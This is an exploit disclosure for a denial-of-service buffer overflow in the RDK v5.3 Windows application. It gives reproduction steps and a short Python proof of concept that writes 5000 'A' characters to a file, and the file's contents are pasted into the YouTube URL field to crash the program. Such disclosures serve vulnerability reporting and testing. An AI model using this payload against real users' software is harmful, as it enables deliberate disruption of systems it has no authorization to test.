Exploit Title: RDK v5.3 - Buffer Overflow (DoS)
Discovered by: Ahmet Ümit BAYRAM
Discovered Date: 17.04.2024
Vendor Homepage: http://www.shenturk.com
Software Link: http://www.shenturk.com/downloads/rdk-5.3-setup.rar
Tested Version: v5.3 (latest)
Tested on: Windows 10 32bit
Steps to Reproduce

Open the RDK application.
Click on the "Plus" button.
Select YouTube.
Copy the contents of poc.txt and paste it into the "YouTube URL" field.
Click Tamam to confirm.
Locate the payload from the list and double-click it.
The application should crash.

Proof of Concept (PoC)

The following script creates a poc.txt file containing a payload that
causes a buffer overflow in RDK v5.3.

#!/usr/bin/env python3

exploit = ‘A’ * 5000

try:
with open("poc.txt", "w") as file:
file.write(exploit)
print("POC is created")
except Exception as e:
print("POC not created:", e)